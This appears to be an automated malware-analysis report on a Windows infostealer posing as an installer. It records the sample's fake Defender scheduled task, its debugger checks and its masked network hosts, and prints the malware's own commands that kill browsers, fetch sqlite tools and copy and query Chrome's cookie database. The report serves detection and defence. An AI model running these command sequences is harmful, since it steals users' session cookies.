Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\windows defender scheduled scan 162.6.1835.49 {256.0.7749.36 s-1-5-21-1000-7c0b9ffb}
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im chrome.exe
- '<SYSTEM32>\taskkill.exe' /f /im msedge.exe
- '<SYSTEM32>\taskkill.exe' /f /im brave.exe
- '<SYSTEM32>\taskkill.exe' /f /im duckduckgo.exe
- '<SYSTEM32>\taskkill.exe' /f /im firefox.exe
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Searches for windows to
detect analytical utilities:
- ClassName: 'OLLYDBG', WindowName: ''
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
Modifies file system
Creates the following files
- %TEMP%\is-kp5nd.tmp\<File name>.tmp
- %TEMP%\is-b7t0s.tmp\_isetup\_setup64.tmp
- %TEMP%\is-b7t0s.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-ca6un.tmp\<File name>.tmp
- %TEMP%\is-5sp0k.tmp\_isetup\_setup64.tmp
- %TEMP%\is-5sp0k.tmp\_isetup\_isdecmp.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-u44ac.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-t960c.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-ph48i.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-t4gkn.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-bb01p.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-4vckd.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-72h7m.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-r2cnc.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-m9ki3.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-19rks.tmp
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-ns6l3.tmp
- %TEMP%\chromeb_dca3df7d-vhpmbc\system.txt
- %TEMP%\chromeb_dca3df7d-vhpmbc\processes.txt
- %TEMP%\chromeb_dca3df7d-vhpmbc\temp_processes.csv
- nul
- %TEMP%\chromeb_dca3df7d-vhpmbc\logs\chrome\default\sqlite3.exe.zip
Sets the 'hidden' attribute to the following files
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\eguidemeter.sys
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\fnhotkeyutility.exe
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\ludp.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpoav.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpsensecomm.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpupdate.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpuxagent.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\msvcp140.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\spkvol.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\vcruntime140.dll
- %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\vcruntime140_1.dll
Deletes following files that it created itself
- %TEMP%\is-b7t0s.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-b7t0s.tmp\_isetup\_setup64.tmp
- %TEMP%\is-kp5nd.tmp\<File name>.tmp
- %TEMP%\is-5sp0k.tmp\_isetup\_isdecmp.dll
- %TEMP%\is-5sp0k.tmp\_isetup\_setup64.tmp
- %TEMP%\is-ca6un.tmp\<File name>.tmp
- %TEMP%\chromeb_dca3df7d-vhpmbc\temp_processes.csv
- %TEMP%\chromeb_dca3df7d-vhpmbc\logs\chrome\default\sqlite3.exe.zip
Moves the following files
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-u44ac.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\eguidemeter.sys
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-t960c.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\fnhotkeyutility.exe
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-ph48i.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\ludp.dll
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-t4gkn.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpoav.dll
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-bb01p.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpsensecomm.dll
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-4vckd.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpupdate.dll
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-72h7m.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\mpuxagent.dll
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-r2cnc.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\msvcp140.dll
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-m9ki3.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\spkvol.dll
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-19rks.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\vcruntime140.dll
- from %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\is-ns6l3.tmp to %ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\vcruntime140_1.dll
Network activity
Connects to
- 'il###boats9.vip':443
- 'x1.#.lencr.org':80
- 'e7.#.lencr.org':80
- 'sq##te.org':443
TCP
HTTP GET requests
- http://e7.#.lencr.org/43.crl
Other
- 'il###boats9.vip':443
- 'sq##te.org':443
UDP
- DNS ASK mo#####.map.fastly.net
- DNS ASK il###boats9.vip
- DNS ASK x1.#.lencr.org
- DNS ASK e7.#.lencr.org
- DNS ASK sq##te.org
Miscellaneous
Searches for the following windows
- ClassName: 'Lenovo_Utility_Window' WindowName: ''
- ClassName: '' WindowName: ''
- ClassName: 'WinDbgFrameClass' WindowName: ''
- ClassName: 'SunAwtFrame' WindowName: ''
- ClassName: 'IMDBG_CLASS' WindowName: ''
- ClassName: 'HxD' WindowName: ''
Creates and executes the following
- '%TEMP%\is-kp5nd.tmp\<File name>.tmp' /SL5="$E01B4,5021146,1139712,<Full path to file>"
- '%TEMP%\is-ca6un.tmp\<File name>.tmp' /SL5="$1001C4,5021146,1139712,<Full path to file>" /VERYSILENT /PASSWORD=06d30ec6-d95f-40f0-af25-6ca03119c33b
- '%ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\fnhotkeyutility.exe' -ScanType
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c tasklist /fo csv > "%TEMP%\ChromeB_dca3df7d-vhpmbc\temp_processes.csv"
- '<SYSTEM32>\tasklist.exe' /fo csv
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im chrome.exe 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im msedge.exe 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im brave.exe 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im duckduckgo.exe 2>nul
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im firefox.exe 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://www.sqlite.org/2024/sqlite-tools-win-x64-3460000.zip' -OutFile '%TEMP%\ChromeB_dca3df7d-vhpmbc\Logs\Chrome\Default\sqlite3.exe.zip' -UseB...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Invoke-WebRequest -Uri 'https://www.sqlite.org/2024/sqlite-tools-win-x64-3460000.zip' -OutFile '%TEMP%\ChromeB_dca3df7d-vhpmbc\Logs\Chrome\Default\sqlite3.exe.zip' -UseBasicParsing; E...
- '<SYSTEM32>\cmd.exe' /c copy /Y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies" "C:\temp_cookies.db" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c copy /Y "%TEMP%\ChromeB_dca3df7d-vhpmbc\Logs\Chrome\Default\sqlite3.exe" "C:\temp_sqlite3.exe" >nul 2>&1
- '<SYSTEM32>\cmd.exe' /c C:\temp_sqlite3.exe -separator "|" C:\temp_cookies.db "SELECT host_key, CASE WHEN host_key LIKE '.%' THEN 'TRUE' ELSE 'FALSE' END, path, CASE WHEN is_secure = 1 THEN 'TRUE' ELSE 'FALSE' END,...
- '<Full path to file>' /VERYSILENT /PASSWORD=06d30ec6-d95f-40f0-af25-6ca03119c33b' (with hidden window)
- '%ALLUSERSPROFILE%\4d988a2b-eccc-4842-af75-bf8f4d2b18ce\fnhotkeyutility.exe' -ScanType' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c tasklist /fo csv > "%TEMP%\ChromeB_dca3df7d-vhpmbc\temp_processes.csv"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im chrome.exe 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im msedge.exe 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im brave.exe 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im duckduckgo.exe 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im firefox.exe 2>nul' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell -Command "Invoke-WebRequest -Uri 'https://www.sqlite.org/2024/sqlite-tools-win-x64-3460000.zip' -OutFile '%TEMP%\ChromeB_dca3df7d-vhpmbc\Logs\Chrome\Default\sqlite3.exe.zip' -UseB...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy /Y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies" "C:\temp_cookies.db" >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy /Y "%TEMP%\ChromeB_dca3df7d-vhpmbc\Logs\Chrome\Default\sqlite3.exe" "C:\temp_sqlite3.exe" >nul 2>&1' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c C:\temp_sqlite3.exe -separator "|" C:\temp_cookies.db "SELECT host_key, CASE WHEN host_key LIKE '.%' THEN 'TRUE' ELSE 'FALSE' END, path, CASE WHEN is_secure = 1 THEN 'TRUE' ELSE 'FALSE' END,...' (with hidden window)
